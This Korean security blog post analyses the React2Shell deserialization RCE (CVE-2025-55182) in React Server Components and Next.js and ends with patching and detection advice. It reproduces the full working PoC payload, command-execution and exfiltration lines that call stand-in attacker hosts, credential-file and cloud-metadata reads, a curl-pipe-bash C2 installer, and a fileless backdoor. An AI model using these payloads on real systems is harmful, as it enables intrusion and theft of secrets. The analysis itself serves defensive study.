React2Shell (CVE-2025-55182): RSC Flight 역직렬화 기반 Pre-Auth RCE 실험 분석

2026-03-25

React2Shell (CVE-2025-55182): RSC Flight 역직렬화 기반 Pre-Auth RCE 실험 분석

React Server Components의 Flight 프로토콜에서 역직렬화 결함이 서버 측 원격 코드 실행으로 이어지는 전체 과정을, 정상 흐름과의 비교·payload 구조 분석·RCE 실증·공격 확장 경로까지 실험 기반으로 추적한다.

이 글의 범위

2025년 12월 3일에 공개된 CVE-2025-55182(별칭 React2Shell)는 React Server Components(RSC)의 Flight 프로토콜 역직렬화 과정에서 발생하는 서버 측 사전 인증 원격 코드 실행(Pre-Auth RCE) 취약점이다.

CVSS 10.0. 인증 없이, 단일 HTTP POST 요청 하나로, 서버에서 임의 코드가 실행된다.

이건 클라이언트 XSS가 아니고, dangerouslySetInnerHTML 문제도 아니다. 서버가 클라이언트로부터 받은 데이터를 역직렬화하는 과정에서, 객체 복원 로직 자체가 깨지면서 공격자가 제공한 코드가 NodeJS 런타임에서 그대로 실행된다.

이 글에서는 다음을 다룬다:

  1. RSC와 Flight 프로토콜의 구조
  2. 정상 흐름과 공격 흐름의 비교
  3. 역직렬화 과정에서 정확히 어디서 실행이 발생하는지
  4. exploit payload의 필드별 구조 분석
  5. RCE 실증 — 명령 실행 결과 확인, 파일 생성, 외부 콜백
  6. RCE 이후 공격 확장 경로
  7. 방어 전략

RSC 아키텍처: 서버와 클라이언트의 경계가 바뀐다

React Server Components(RSC)는 React 19에서 도입됐다. 기존 React에서는 모든 컴포넌트가 브라우저에서 실행된다. 서버는 HTML을 내려주거나, API로 데이터를 건네줄 뿐이다.

RSC는 이 구조를 바꾼다. 컴포넌트 로직의 일부가 서버에서 직접 실행되고, 그 결과가 클라이언트로 전달된다.

code snippet
TEXT
┌──────────────── 서버 ─────────────────┐ │ │ │ Server Component (DB 접근, fs 읽기) │ │ Server Function ("use server" 함수) │ │ │ │ │ Flight 직렬화 (RSC payload 생성) │ │ │ │ └─────────┼──────────────────────────────┘ │ HTTP ▼ ┌──────────────── 클라이언트 ────────────┐ │ │ │ Flight 역직렬화 → 컴포넌트 트리 복원 │ │ Client Components 렌더링 + Hydration │ │ │ └────────────────────────────────────────┘

여기까지는 서버 → 클라이언트 방향이다.

그런데 클라이언트 → 서버 방향도 있다. 클라이언트가 Server Function을 호출하면, React는 이를 HTTP POST 요청으로 변환한다. 서버는 이 요청의 payload를 역직렬화하여 함수 호출로 변환한다.

이 양방향 통신에 사용되는 프로토콜이 Flight다.

여기서 문제가 생긴다. 서버가 클라이언트로부터 받은 Flight payload를 역직렬화하는 과정에서, 입력 검증이 빠져 있다.


Flight 프로토콜: 무엇이 오가는가

Flight는 React 팀이 RSC를 위해 만든 자체 직렬화 형식이다. JSON과 비슷하지만, React의 컴포넌트 트리·참조 관계·Promise 등을 표현할 수 있는 확장 구조를 가진다.

청크(Chunk) 기반 구조

Flight payload는 청크 단위로 구성된다. 각 청크는 고유 ID를 가지고, 다른 청크를 $ 접두사로 참조한다.

code snippet
TEXT
0:"$1" 1:{"name":"UserProfile","props":{"userId":"$2"}} 2:"zino"
  • 청크 0 → $1 → 청크 1을 가리킴
  • 청크 1의 userId$2 → 청크 2를 가리킴
  • 청크 2 → 실제 값 "zino"

디코더는 이 참조를 재귀적으로 따라가면서 JavaScript 객체 트리를 복원한다.

클라이언트 → 서버: Server Function 호출

클라이언트가 Server Function을 호출하면, React는 함수 인수를 Flight 형식으로 직렬화하고 multipart/form-data HTTP POST 요청을 생성한다.

Next.js에서는 이 요청에 next-action HTTP 헤더가 붙는다. 이 헤더가 있으면 프레임워크는 해당 요청을 Server Function 호출로 인식하고 Flight 역직렬화를 실행한다.

code snippet
TEXT
POST / HTTP/1.1 Host: target.example.com Content-Type: multipart/form-data; boundary=----FormBoundary next-action: [action-id] ------FormBoundary Content-Disposition: form-data; name="0" [Flight payload] ------FormBoundary--

핵심 두 가지:

첫째, next-action 헤더의 값은 검증되지 않는다. 아무 문자열을 넣어도 서버는 역직렬화를 시작한다.

둘째, 개발자가 "use server" 함수를 하나도 정의하지 않았어도, Next.js App Router를 사용하는 것만으로 이 엔드포인트가 활성화된다.


정상 흐름 vs 공격 흐름

이 취약점을 이해하려면 정상적인 Server Function 호출이 어떻게 처리되는지부터 봐야 한다.

정상 흐름

code snippet
TEXT
Client Server │ │ │ "use server" 함수 호출 │ │ → React가 인수를 Flight 직렬화 │ │ │ │ POST / (next-action: valid-action-id) │ │ payload: 0:"hello" │ │ ──────────────────────────────────────> │ │ │ │ Flight 디코더 실행 │ 청크 해석: 0 → "hello" │ → 정상 문자열 복원 │ → Server Function에 인수 전달 │ → 함수 실행, 결과 반환 │ │ │ HTTP Response (Flight 직렬화된 결과) │ │ <────────────────────────────────────── │

정상적인 경우, payload에는 문자열·숫자·배열 같은 단순한 데이터만 들어간다. 디코더는 이 데이터를 복원하고, 해당 Server Function에 인수로 전달한다.

공격 흐름

code snippet
TEXT
Attacker Server │ │ │ curl / Burp / 자동화 도구 │ │ → 조작된 Flight payload 구성 │ │ │ │ POST / (next-action: arbitrary) │ │ payload: [가젯 체인 payload] │ │ ──────────────────────────────────────> │ │ │ │ Flight 디코더 실행 │ 청크 해석 시작 │ $3:constructor:constructor 참조 해석 │ → [] → Array → Function() ← 여기서 깨진다 │ → Function("공격자 코드") 생성 │ → Promise .then()에 의해 호출 │ → NodeJS에서 임의 코드 실행 │ │ │ (응답은 정상이거나 에러 — 상관없음) │ │ <────────────────────────────────────── │

차이점을 정리하면:

항목정상 흐름공격 흐름
payload 내용단순 데이터 (문자열, 숫자)자기 참조 청크 + 프로퍼티 체인
청크 참조 대상다른 데이터 청크constructor, prototype 등 빌트인
디코더 동작데이터 복원 → 함수에 전달프로토타입 체인 탐색 → Function() 도달
결과Server Function 정상 실행공격자 코드 서버에서 실행
인증 필요없음 (Server Function 자체에 별도 구현 필요)없음

핵심은 이것이다: 디코더가 $3:constructor:constructor 같은 프로퍼티 체인 참조를 해석할 때, "이 프로퍼티 이름이 허용된 것인지" 검사하지 않는다. 정상 데이터를 복원할 때와 동일한 로직으로 constructor까지 따라간다.

이 시점에서 서버가 잘못 해석한다. 공격자가 보낸 데이터를 정상적인 RSC 데이터로 신뢰하고, 프로퍼티 체인을 따라 Function() 생성자에 도달한다.


RCE 트리거 지점: 정확히 어디서 실행이 발생하는가

서버가 조작된 요청을 수신한 시점부터 코드가 실행되기까지, 내부에서 벌어지는 일을 단계별로 쪼갠다.

단계 1 — 요청 수신과 라우팅

Next.js 서버(next-server)가 POST 요청을 받는다. next-action 헤더가 있는지 확인한다.

code snippet
TEXT
Content-Type: multipart/form-data ✓ next-action: [아무 값] ✓ → Server Function 처리 경로로 라우팅

이 단계에서 인증 검사는 발생하지 않는다. 헤더의 존재 여부만 확인한다. 이것이 "Pre-Auth"인 이유다.

단계 2 — FormData 파싱

multipart body에서 FormData를 추출한다. 0 필드에 Flight payload가 들어 있다.

단계 3 — Flight 디코더 실행

react-server-dom-webpack/server(또는 turbopack/parcel 변형) 패키지 내부의 디코더가 payload를 처리한다.

code snippet
TEXT
payload를 줄 단위로 분할 각 줄을 "ID:VALUE" 형태로 파싱 → 청크 맵에 저장: { '0': '$1', '1': {...}, '3': [], ... }

여기까지는 정상 흐름과 동일하다.

단계 4 — 청크 참조 해석 (💥 여기서 깨진다)

디코더가 Chunk 0부터 시작하여 $ 참조를 재귀적으로 해석한다. 의사 코드로 표현하면:

code snippet
JS
function resolveValue(value) { if (typeof value === 'string' && value.startsWith('$')) { const parts = value.slice(1).split(':'); let result = resolveChunk(parts[0]); for (let i = 1; i < parts.length; i++) { result = result[parts[i]]; // ⚠️ 타입 검사 없음 } return result; } return value; }

result = result[parts[i]] — 이 한 줄이 취약점의 근본 원인이다.

디코더는 프로퍼티 이름이 constructor__proto__든, 화이트리스트 검사 없이 그대로 따라간다. 공격자가 $3:constructor:constructor를 보내면:

code snippet
TEXT
Chunk 3 조회 → [] (빈 배열) []['constructor'] → Array Array['constructor'] → Function → 반환값: Function 생성자

이 시점에서 디코더는 Function() 생성자를 "정상 데이터"로 간주하고 객체 트리에 삽입한다.

단계 5 — 가젯 활성화

Promise 체인(Chunk 2의 $@ 접두사)이 트리거되면서, 디코더 내부에서 다음이 실행된다:

code snippet
TEXT
response._formData.get(response._prefix + obj)

response는 조작된 Chunk 4이므로:

  • response._formData.get = Function() (단계 4에서 획득)
  • response._prefix = "process.mainModule.require('child_process').execSync('id')//"

결합하면:

code snippet
TEXT
Function("process.mainModule.require('child_process').execSync('id')//" + obj)

단계 6 — 코드 실행 (RCE 완성)

Function() 생성자가 문자열로부터 익명 함수를 생성한다. Promise .then() 체인이 이 함수를 호출한다.

code snippet
TEXT
new Function("process.mainModule.require('child_process').execSync('id')//...") → 함수 생성 → .then() 핸들러로 호출 → NodeJS child_process.execSync('id') 실행 → uid=1000(node) gid=1000(node) groups=1000(node)

이 흐름이 깨지는 순간 실행으로 이어진다. 그리고 이 시점에서 공격자는 NodeJS 런타임의 전체 능력을 가진다 — child_process, fs, net, http, os, dns, 서버 프로세스가 접근할 수 있는 모든 것.


exploit payload: 필드별 구조 분석

공개된 PoC의 payload를 실제 필드값 기준으로 분해한다.

전체 payload

code snippet
TEXT
0:"$1" 1:{"_response":"$4","value":"{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}","status":"fulfilled","reason":null,"_debugInfo":null} 2:"$@3" 3:[] 4:{"_formData":{"get":"$3:constructor:constructor"},"_prefix":"process.mainModule.require('child_process').execSync('id')//","_chunks":"$2:_response:_chunks","_closedReason":null,"_tempRefs":null}

이 payload는 multipart/form-data0 필드에 포함되어 전송된다.

Chunk 0: 진입점

code snippet
TEXT
0:"$1"

역직렬화는 여기서 시작된다. $1을 따라 Chunk 1로 진입한다.

Chunk 3: 가젯의 시작점

code snippet
TEXT
3:[]

빈 배열. 단독으로는 의미가 없다. 하지만 이 배열의 프로토타입 체인이 공격의 발판이다.

JavaScript에서:

code snippet
TEXT
[] → Array 인스턴스 [].constructor → Array (생성자 함수) Array.constructor → Function (Function 생성자)

$3:constructor:constructor 참조가 이 체인을 타고 Function()에 도달한다.

Chunk 4: 조작된 Response 객체

code snippet
TEXT
4:{ "_formData": { "get": "$3:constructor:constructor" ← Function() 생성자 }, "_prefix": "process.mainModule.require('child_process').execSync('id')//", "_chunks": "$2:_response:_chunks", "_closedReason": null, "_tempRefs": null }

React 내부의 Response 객체를 흉내 낸다.

  • _formData.get: 원래는 FormData의 get() 메서드여야 한다. 공격 payload에서는 Function() 생성자로 대체됐다.
  • _prefix: 원래는 내부 접두사 문자열이다. 여기에 실행할 코드가 들어간다.

_prefix 끝의 //는 JavaScript 라인 주석이다. 디코더가 이 문자열 뒤에 추가 데이터를 붙이는데, //로 주석 처리해서 구문 오류를 방지한다.

Chunk 2: Promise 트리거

code snippet
TEXT
2:"$@3"

$@ 접두사는 디코더에게 이 청크를 Promise 객체로 처리하라고 지시한다. 이 Promise가 해결될 때 .then() 핸들러가 호출되면서, Chunk 1의 value에 정의된 체인이 실행된다.

Chunk 1: 조작된 Chunk 객체

code snippet
TEXT
1:{ "_response": "$4", "value": "{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}", "status": "fulfilled", "reason": null, "_debugInfo": null }

React 내부의 Chunk 객체를 흉내 낸다.

  • _response$4 → Chunk 4(조작된 Response)를 가리킨다
  • value → JSON 문자열이 파싱되면 thenable 객체 체인을 구성한다

value 내부:

code snippet
JSON
{ "0": { "then": "$B3" }, "then": "$3:map", "length": 1 }

"then": "$3:map" — 이 객체가 thenable(Promise-like)이라는 뜻이고, 배열의 map 메서드가 .then() 핸들러 역할을 한다. $B3가 실제 exploit 트리거 참조다.

실행 흐름 요약

code snippet
TEXT
① Chunk 0 → "$1" → Chunk 1 해석 시작 ② Chunk 1._response → "$4" → Chunk 4 해석 Chunk 4._formData.get → "$3:constructor:constructor" → [].constructor → Array → Array.constructor → Function() ∴ Chunk4._formData.get = Function() ③ Chunk 1.value 파싱 → thenable 체인 구성 $B3 해석 → 내부적으로 실행: response._formData.get(response._prefix + obj) = Function("process.mainModule.require('child_process').execSync('id')//" + obj) ④ Promise .then()에 의해 생성된 함수가 호출됨 ⑤ NodeJS 런타임에서 id 명령 실행 → uid=1000(node) gid=1000(node) groups=1000(node)

한 줄 요약:

code snippet
TEXT
HTTP POST → Flight 디코더 → 프로퍼티 체인으로 Function() 획득 → 코드 문자열 전달 → 서버에서 실행

어떤 엔드포인트가 대상인가

Next.js: 모든 라우트

Next.js App Router에서는 어떤 URL로든 POST 요청을 보낼 수 있다. next-action 헤더가 있으면, 프레임워크는 그 경로가 무엇이든 Server Function 호출로 처리한다.

code snippet
TEXT
POST / ← 동작 POST /about ← 동작 POST /api/data ← 동작 POST /any/path ← 동작

Action ID(헤더 값)도 검증하지 않는다. 공격자가 특정 엔드포인트를 찾을 필요가 없다. 서버가 응답하는 아무 경로에 POST를 보내면 된다.

다른 프레임워크

프레임워크노출 방식비고
Next.js모든 라우트 자동 노출 (next-action 헤더)기본 구성에서 취약
WakuRSC 라우트Wiz가 exploit 확인
Vite RSC PluginRSC 플러그인 활성화 시Wiz가 exploit 확인
React Router (RSC preview)unstable RSC API실험적
RedwoodSDKRSC 지원 시영향 받음
Parcel RSCRSC 플러그인 추가 시영향 받음

Next.js 외의 프레임워크에서는 공격자가 RSC 처리 엔드포인트를 먼저 식별해야 한다. 하지만 엔드포인트를 찾으면 동일한 payload가 동작한다. 근본 원인은 프레임워크가 아니라 react-server-dom-* 패키지의 디코더에 있다.


RCE 실증: "공격이 실제로 어떻게 보이는가"

이 섹션에서는 RCE가 실제로 발생했을 때, 공격자와 서버 양쪽에서 무엇이 관찰되는지를 세 가지 방식으로 보여준다.

실증 A: 명령 실행 결과를 HTTP 응답으로 확인

_prefix에 삽입되는 코드가 execSync()를 사용하면, 실행 결과가 NodeJS 프로세스의 stdout으로 반환된다.

요청:

code snippet
BASH
curl -s -X POST http://target:3000/ \ -H "Content-Type: multipart/form-data; boundary=----Boundary" \ -H "next-action: arbitrary" \ --data-binary @payload.bin

payload의 _prefix 필드 (비실행 형태):

code snippet
TEXT
process.mainModule.require('child_process').execSync('id')//

서버 측에서 발생하는 일:

code snippet
TEXT
NodeJS 런타임이 child_process.execSync('id')를 실행한다. 프로세스의 stdout에 다음이 기록된다: uid=1000(node) gid=1000(node) groups=1000(node)

응답 본문에 직접 포함될 수도 있고, 서버 에러 메시지에 포함될 수도 있다. 어떤 경우든 서버 프로세스의 사용자 정보가 반환됐다는 것은 서버에서 OS 명령이 실행됐다는 증거다.

id 대신 다른 명령을 넣으면:

code snippet
TEXT
_prefix: "process.mainModule.require('child_process').execSync('cat /etc/hostname')//" → 서버의 호스트명 반환 _prefix: "process.mainModule.require('child_process').execSync('env | grep -i aws')//" → AWS 관련 환경 변수 반환 (있을 경우)

실증 B: 파일 생성 기반 증명

명령 실행 결과가 응답에 보이지 않는 환경(blind RCE)에서는, 서버 파일 시스템에 파일을 생성하여 RCE를 증명한다.

payload의 _prefix 필드 (비실행 형태):

code snippet
TEXT
process.mainModule.require('child_process').execSync('echo PWNED > /tmp/react2shell-proof.txt')//

확인:

code snippet
BASH
# 서버에서 확인 cat /tmp/react2shell-proof.txt # 출력: PWNED

파일이 존재한다는 것은, 공격자가 보낸 payload에 의해 서버에서 echo 명령이 실행되고, 그 결과가 파일 시스템에 기록됐다는 증거다.

실제 공격에서는 /tmp/에 바이너리를 다운로드하는 방식으로 활용된다:

code snippet
TEXT
process.mainModule.require('child_process').execSync( 'curl -s http://attacker.example/payload -o /tmp/stage2 && chmod +x /tmp/stage2' )//

실증 C: 외부 콜백 (Out-of-Band 확인)

가장 은밀한 확인 방식이다. 서버가 공격자가 제어하는 외부 서버로 요청을 보내게 한다.

payload의 _prefix 필드 (비실행 형태):

code snippet
TEXT
process.mainModule.require('child_process').execSync( 'curl -s https://ATTACKER_CALLBACK_SERVER/' + require('os').hostname() )//

또는 DNS 기반:

code snippet
TEXT
process.mainModule.require('dns').resolve( require('os').hostname() + '.attacker-callback.oast.live', () => {} )//

공격자 측 콜백 서버에서 관찰되는 것:

code snippet
TEXT
[2025-12-05 06:14:23] GET /vulnerable-host-name HTTP/1.1 Source IP: 203.0.113.50 ← 공격 대상 서버의 IP

또는 DNS 로그:

code snippet
TEXT
[2025-12-05 06:14:23] DNS query: vulnerable-host-name.attacker-callback.oast.live Source: 203.0.113.50

서버에서 외부로 요청이 나갔다는 것 자체가 RCE 성공의 증거다. 실제 야생 공격에서 가장 많이 관찰된 초기 확인 방식이기도 하다. Wiz Research는 *.oast.live, *.oastify.com 도메인으로의 DNS 질의 패턴을 대규모로 관측했다.


역직렬화가 이렇게 위험한 이유

역직렬화 취약점은 React에서 처음 나온 것이 아니다. Java의 Apache Commons Collections, PHP의 unserialize(), Python의 pickle — 거의 모든 언어에서 역직렬화는 보안의 위험 지대다.

공통 패턴:

code snippet
TEXT
신뢰되지 않은 입력 → 역직렬화 → 객체 복원 중 부작용 발생 → 코드 실행

React2Shell이 특히 위험한 이유 세 가지:

1. 기본 구성에서 취약하다. Java의 역직렬화 취약점은 대부분 특정 라이브러리가 classpath에 있어야 가젯 체인이 완성된다. React2Shell은 create-next-app의 기본 출력 그대로가 취약하다. 개발자가 아무것도 잘못하지 않아도 된다.

2. 사전 인증이다. 많은 역직렬화 취약점은 인증 후 접근 가능한 엔드포인트에서 발생한다. React2Shell은 인증이 전혀 필요 없다.

3. exploit 신뢰도가 거의 100%다. Wiz Research는 "near-100% success rate"를 보고했다. 취약 버전이면 거의 확실히 동작한다.


취약 환경과 영향 범위

취약 패키지

패키지취약 버전패치 버전
react-server-dom-webpack19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-turbopack동일동일
react-server-dom-parcel동일동일
Next.js14.3.0-canary.77+, 15.0.0–15.5.6, 16.0.0–16.0.615.0.5+, 15.1.9+, 15.2.6+, 16.0.7+

기본 취약 환경

code snippet
BASH
npx create-next-app@15.2.0 vulnerable-app cd vulnerable-app npm run build && npm start

이것만으로 취약한 서버가 완성된다. 코드 수정 없음. 설정 변경 없음.

클라우드 노출 (Wiz Research)

  • 클라우드 환경의 **39%**가 취약한 인스턴스 포함
  • Next.js 환경 중 **61%**가 퍼블릭 앱 운영
  • 전체 클라우드 환경의 **44%**가 인터넷에 노출된 Next.js 인스턴스 보유

RCE 이후: 이걸로 끝나지 않는다

서버에서 코드가 실행되는 순간, 그건 시작일 뿐이다. 실제 야생에서 관측된 공격 패턴을 추적한다.

1. 환경 변수 수집 → 클라우드 인프라 장악

RCE 직후 가장 먼저 수행되는 행위다.

code snippet
JS
// _prefix 내용 (비실행 형태) const env = process.env; const secrets = Object.entries(env) .filter(([k]) => /AWS|TOKEN|SECRET|PASS|DB_|API_KEY|AZURE|GCP/i.test(k)) .map(([k, v]) => k + '=' + v).join('\n'); require('http').request({ hostname: 'attacker.example.com', port: 443, path: '/exfil', method: 'POST', headers: {'Content-Type':'text/plain'} }, () => {}).end(Buffer.from(secrets).toString('base64'));

AWS/GCP/Azure 컨테이너라면 환경 변수에 클라우드 자격 증명이 높은 확률로 포함되어 있다.

후속 행위:

code snippet
BASH
# 인스턴스 메타데이터에서 IAM 자격 증명 획득 curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ # 획득한 자격 증명으로: # → S3 버킷 접근 # → EC2 인스턴스 조작 # → IAM 권한 상승 # → 클라우드 인프라 전체 장악

Wiz Research는 공격자가 AWS 자격 증명을 Base64 인코딩하여 외부로 전송하는 것을 실제로 관찰했다.

2. DB 연결 정보 접근

Next.js 앱의 환경 변수에는 거의 항상 DB 연결 문자열이 포함되어 있다.

code snippet
TEXT
DATABASE_URL=postgresql://user:password@db.internal:5432/production MONGODB_URI=mongodb+srv://admin:secret@cluster.mongodb.net/app REDIS_URL=redis://:authpassword@redis.internal:6379

이 정보를 획득하면 공격자는 DB에 직접 연결하여 전체 데이터를 덤프할 수 있다. 이건 애플리케이션 레이어의 접근 제어를 완전히 우회한다.

3. 파일 시스템 탐색과 시크릿 수집

code snippet
BASH
find /root /home -name '*.env' -o -name '*.pem' -o -name 'id_rsa' 2>/dev/null cat /home/*/.ssh/id_rsa cat /home/*/.aws/credentials cat /home/*/.kube/config cat /home/*/.config/gcloud/application_default_credentials.json

수집한 파일 전체를 tar로 묶어서 HTTP POST로 전송한다.

4. 내부 API 호출

서버 내부에서만 접근 가능한 API에 직접 요청을 보낼 수 있다.

code snippet
JS
// 비실행 형태 const http = require('http'); http.get('http://internal-service.local:8080/admin/users', (res) => { let data = ''; res.on('data', chunk => data += chunk); res.on('end', () => { // data를 외부로 전송 http.request({ hostname: 'attacker.example.com', ... }).end(data); }); });

방화벽과 네트워크 정책으로 외부에서는 접근할 수 없는 내부 서비스가, RCE를 통해 완전히 노출된다.

5. NodeJS 인메모리 백도어 (Fileless Persistence)

야생에서 관찰된 가장 교묘한 기법이다.

code snippet
JS
// 관찰된 payload 재구성 (비실행 형태 — 구조 설명 목적) const http = require('node:http'); const url = require('node:url'); const origEmit = http.Server.prototype.emit; http.Server.prototype.emit = function(event, req, res) { if (event === 'request') { const parsed = url.parse(req.url, true); if (parsed.pathname === '/favicon.login.ico' && parsed.query.c) { const result = require('child_process') .execSync(parsed.query.c, { encoding: 'utf8' }); res.writeHead(200); res.end(result); return; } } return origEmit.apply(this, arguments); };

이게 왜 위험한가:

  • Fileless — 디스크에 아무것도 쓰지 않는다. EDR/파일 스캐너가 탐지할 수 없다
  • Invisible — 정상 트래픽은 방해하지 않는다. 특정 경로(/favicon.login.ico)에만 반응
  • Stealthyhttp.Server.prototype.emit을 monkey-patch하므로 Next.js 라우팅을 완전히 우회한다. 접근 로그에 남지 않을 수 있다
  • Persistent — 프로세스 재시작 전까지 유지

이걸 설치한 뒤에는, 공격자가 브라우저에서 http://target/favicon.login.ico?c=cat%20/etc/passwd를 열기만 해도 서버에서 명령이 실행된다.

6. 횡적 이동 (Lateral Movement)

Kubernetes 환경에서 침해된 컨테이너로부터:

code snippet
BASH
# 서비스 어카운트 토큰 cat /var/run/secrets/kubernetes.io/serviceaccount/token # Kubernetes API 호출 → 다른 Pod 정보 수집 curl -sk https://kubernetes.default.svc/api/v1/namespaces/ \ -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"

Microsoft는 bind mount를 통해 호스트 파일 시스템에 접근하는 사례도 관찰했다.

7. C2 프레임워크 배포

가장 심각한 케이스:

code snippet
BASH
# Sliver C2 바이너리 배포 (관찰된 패턴) curl -s http://dynamic-dns.attacker/setup.sh | bash # → ELF 바이너리 다운로드 및 실행 # → C2 서버로 TLS 연결

이 시점에서 공격자는 완전한 원격 제어 능력을 확보한다. 파일 업/다운로드, 프로세스 주입, 포트 포워딩, 스크린 캡처까지 가능하다.

Microsoft 분석에서는 Cobalt Strike, VShell, ShadowPAD가 배포된 사례가 확인됐고, AWS는 Earth Lamia, Jackpot Panda 등 중국 연계 위협 그룹의 참여를 보고했다.


방어 전략

1. 패치 — 유일한 근본적 해결

다른 모든 조치는 보조적이다.

code snippet
BASH
# Next.js 버전별 npm install next@15.0.5 # 15.0.x npm install next@15.1.9 # 15.1.x npm install next@15.2.6 # 15.2.x npm install next@16.0.7 # 16.0.x # React 패키지 npm install react@19.2.1 react-dom@19.2.1 react-server-dom-webpack@19.2.1

패치 후 의존성 트리 확인:

code snippet
BASH
npm ls react-server-dom-webpack react-server-dom-turbopack react-server-dom-parcel

깊은 의존성에 취약 버전이 남아 있을 수 있다.

2. 패치가 수정한 것

  • 프로퍼티 체인 참조에서 화이트리스트 기반 필터링 적용
  • constructor, __proto__, prototype 접근 명시적 차단
  • 청크 참조 해석 시 결과 타입 검증 추가

"입력 검증 강화"가 아니라 역직렬화 로직의 구조적 결함 수정이다.

3. WAF 규칙 (임시)

패치 배포 전까지:

  • next-action 헤더 포함 외부 POST 요청 차단
  • payload에서 constructor:constructor 패턴 탐지
  • 비정상 multipart/form-data 크기 제한

Azure WAF 커스텀 룰 가이드가 Microsoft에서 공개됐다. 하지만 WAF는 우회 가능하므로 패치 대체재가 아니다.

4. 런타임 탐지

탐지 포인트의미
next-serverbash/sh/curl spawn거의 확실히 공격
*.oast.live/*.oastify.com DNS 질의OOB RCE 확인 시도
169.254.169.254로 HTTP 요청클라우드 메타데이터 접근
.ssh//.aws/credentials 접근시크릿 수집
비정상 아웃바운드 연결C2/마이닝 풀 통신

5. 네트워크 세분화

  • RSC 서버의 아웃바운드 네트워크 제한 (egress 제어)
  • IMDS를 IMDSv2(토큰 기반)로 강제
  • 컨테이너에서 curl/wget/bash 제거 (distroless 이미지)
  • Kubernetes 서비스 어카운트 최소 권한

6. 의존성 스캔 자동화

code snippet
BASH
npm audit trivy fs --scanners vuln .

CI/CD에서 react-server-dom-* 취약 버전 감지 시 빌드 실패 처리.


실무 관점

개발자가 놓치는 이유

"나는 Server Action을 안 쓴다" — 이 착각이 가장 위험하다.

Next.js App Router를 사용하는 것만으로 RSC Flight 엔드포인트가 자동 등록된다. "use server"를 쓰지 않아도. 이 사실을 모르는 개발자가 대부분이다.

프레임워크가 추상화한 레이어에서 취약점이 발생하면, 개발자가 자체적으로 방어할 수 없다. 코드 리뷰로 잡을 수 있는 종류가 아니다.

코드 리뷰 체크리스트

  • package.json/package-lock.json에서 react-server-dom-*next 버전
  • Server Action 입력에 대한 타입 검증/범위 검사
  • 환경 변수에 불필요한 시크릿 노출 여부 (최소 권한)
  • npm audit 결과 PR 리뷰에 포함

보안팀 탐지 포인트

사전: 자산 인벤토리에서 인터넷 노출 Next.js 인스턴스 식별. SBOM 분석으로 취약 버전 자산 파악.

실시간: next-action 헤더 포함 비정상 POST 모니터링. NodeJS 비정상 자식 프로세스. IMDS 접근.

침해 후: NodeJS 메모리 덤프에서 monkey-patched emit 확인. /tmp의 UPX 패킹 바이너리. authorized_keys 변경. C2 인프라 통신.


타임라인

날짜사건
2025-11-29Lachlan Davidson, Meta Bug Bounty로 보고
2025-11-30Meta 보안팀 확인, React 팀과 수정 시작
2025-12-01패치 생성, 호스팅 프로바이더 사전 통보
2025-12-03CVE-2025-55182 공개, npm 패치 배포
2025-12-04중국 연계 위협 그룹(Earth Lamia, Jackpot Panda) 초기 exploit 관측
2025-12-05 06:00 UTCPoC 공개 → 대규모 기회주의 공격 시작
2025-12-13Google Cloud, 다중 위협 그룹 활용 보고
2025-12-15Microsoft, Cobalt Strike/VShell/ShadowPAD 배포 분석
2025-12-29AWS, 중국 연계 그룹 상세 분석 공개

마무리

React2Shell은 프레임워크 수준의 역직렬화 결함이, 인증 없이, 기본 구성에서, 인터넷에 노출된 서버를 RCE 대상으로 만든 사례다.

공개 48시간 이내에 국가 수준 위협 그룹이 실전에 투입했다. exploit 성공률은 거의 100%. 결과는 클라우드 자격 증명 탈취, 인메모리 백도어, C2 배포, 크립토마이닝.

이 사례가 남기는 것:

  • 프레임워크가 열어둔 공격 표면은 개발자가 인식하지 못할 수 있다
  • 역직렬화 로직에서 타입 검사를 생략하면, 프로토타입 체인 자체가 공격 벡터가 된다
  • 의존성 패치의 지연 시간은 곧 공격 윈도우다
  • 서버에서 NodeJS가 가진 능력 — child_process, fs, net — 그게 곧 공격자의 능력이다

References